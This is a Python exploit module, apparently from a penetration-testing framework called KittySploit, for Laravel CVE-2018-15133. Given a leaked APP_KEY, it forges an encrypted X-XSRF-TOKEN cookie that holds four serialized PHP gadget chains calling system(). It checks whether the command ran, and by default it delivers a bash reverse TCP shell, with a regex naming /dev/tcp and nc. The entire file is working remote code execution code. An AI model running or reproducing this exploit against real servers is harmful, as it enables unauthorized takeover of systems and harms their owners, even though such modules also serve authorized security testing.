Laravel CVE-2018-15133 APP_KEY RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Laravel CVE-2018-15133 APP_KEY decrypt cookie deserialization RCE."""

from __future__ import annotations

import base64
import hmac
import json
import re
from hashlib import sha256

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Laravel CVE-2018-15133 APP_KEY RCE",
        "description": (
            "CVE-2018-15133: with the base64 APP_KEY, forge an encrypted "
            "X-XSRF-TOKEN cookie that deserializes to Illuminate gadget chains "
            "calling system() on attacker-controlled input."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2018-15133"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2018-15133",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["laravel", "php", "deserialization", "rce", "cve-2018-15133"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "requires": {"tech_hints_any": ["laravel"]},
            "chain": {"suggested_followups": ["scanner/http/laravel_cve_2018_15133_detect"]},
        },
    }

    app_key = OptString("", "Laravel APP_KEY (base64)", required=True)
    request_path = OptString("/", "URL path for POST with X-XSRF-TOKEN", required=False)
    gadget = OptInt(1, "Gadget chain 1–4 (PendingBroadcast variants)", required=False, advanced=True)
    command = OptString("", "Command (overrides payload)", required=False)

    def _php_object(self, cmd: str, method: int) -> str:
        n = len(cmd)
        if method == 2:
            return (
                'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"'
                + "\x00" + "*" + "\x00" + 'events";O:28:"Illuminate\\Events\\Dispatcher":1:{s:12:"'
                + "\x00" + "*" + "\x00" + 'listeners";a:1:{s:' + str(n) + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"'
                + "\x00" + "*" + "\x00" + 'event";s:' + str(n) + ':"' + cmd + '";}'
            )
        if method == 3:
            return (
                'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"'
                + "\x00" + "*" + "\x00" + 'events";O:39:"Illuminate\\Notifications\\ChannelManager":3:{s:6:"'
                + "\x00" + "*" + "\x00" + 'app";s:' + str(n) + ':"' + cmd + '";s:17:"'
                + "\x00" + "*" + "\x00" + 'defaultChannel";s:1:"x";s:17:"'
                + "\x00" + "*" + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
            )
        if method == 4:
            return (
                'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"'
                + "\x00" + "*" + "\x00" + 'events";O:31:"Illuminate\\Validation\\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"'
                + "\x00" + "*" + "\x00" + 'event";s:' + str(n) + ':"' + cmd + '";}'
            )
        return (
            'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"'
            + "\x00" + "*" + "\x00" + 'events";O:15:"Faker\\Generator":1:{s:13:"'
            + "\x00" + "*" + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"'
            + "\x00" + "*" + "\x00" + 'event";s:' + str(n) + ':"' + cmd + '";}'
        )

    def _encrypt_token(self, cmd: str) -> str:
        try:
            from Crypto.Cipher import AES
            from Crypto.Util.Padding import pad
        except ImportError as exc:
            raise RuntimeError("Install pycryptodome") from exc

        key_b64 = str(self.app_key or "").strip()
        if key_b64.startswith("base64:"):
            key_b64 = key_b64[7:]
        key = base64.b64decode(key_b64)
        method = int(self.gadget or 1)
        serialized = self._php_object(cmd, method)
        inner = base64.b64encode(serialized.encode()).decode()
        cipher = AES.new(key, AES.MODE_CBC)
        value = cipher.encrypt(pad(base64.b64decode(inner), AES.block_size))
        payload = base64.b64encode(value)
        iv_b64 = base64.b64encode(cipher.iv)
        mac = hmac.new(key, iv_b64 + payload, sha256).hexdigest()
        blob = json.dumps({"iv": iv_b64.decode(), "value": payload.decode(), "mac": mac})
        return base64.b64encode(blob.encode()).decode()

    def _response_body(self, text: str) -> str:
        return (text or "").split("<!DOCTYPE html>")[0].strip()

    def execute(self, cmd: str) -> str:
        token = self._encrypt_token(cmd)
        path = str(self.request_path or "/")
        resp = self.http_request(
            "POST",
            path,
            headers={"X-XSRF-TOKEN": token},
            allow_redirects=True,
        )
        return self._response_body((resp.text or "") if resp else "")

    def check(self):
        if not str(self.app_key or "").strip():
            return {"vulnerable": False, "reason": "APP_KEY required", "confidence": "high"}
        try:
            body = self.execute("echo LARAVEL15133")
        except RuntimeError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "medium"}
        if "LARAVEL15133" in body:
            return {"vulnerable": True, "reason": "Deserialization RCE confirmed", "confidence": "high"}
        return {"vulnerable": False, "reason": "No command output — wrong key or patched", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", cmd, re.I):
            print_error("Laravel gadget chain failed — try another gadget option")
            self.not_vulnerable()
            return False

        print_status("CVE-2018-15133 — Laravel APP_KEY deserialization")
        out = self.execute(cmd)
        if out:
            print_info(out[:4000])

        if str(self.command or "").strip():
            return self.handler_execute()
        return True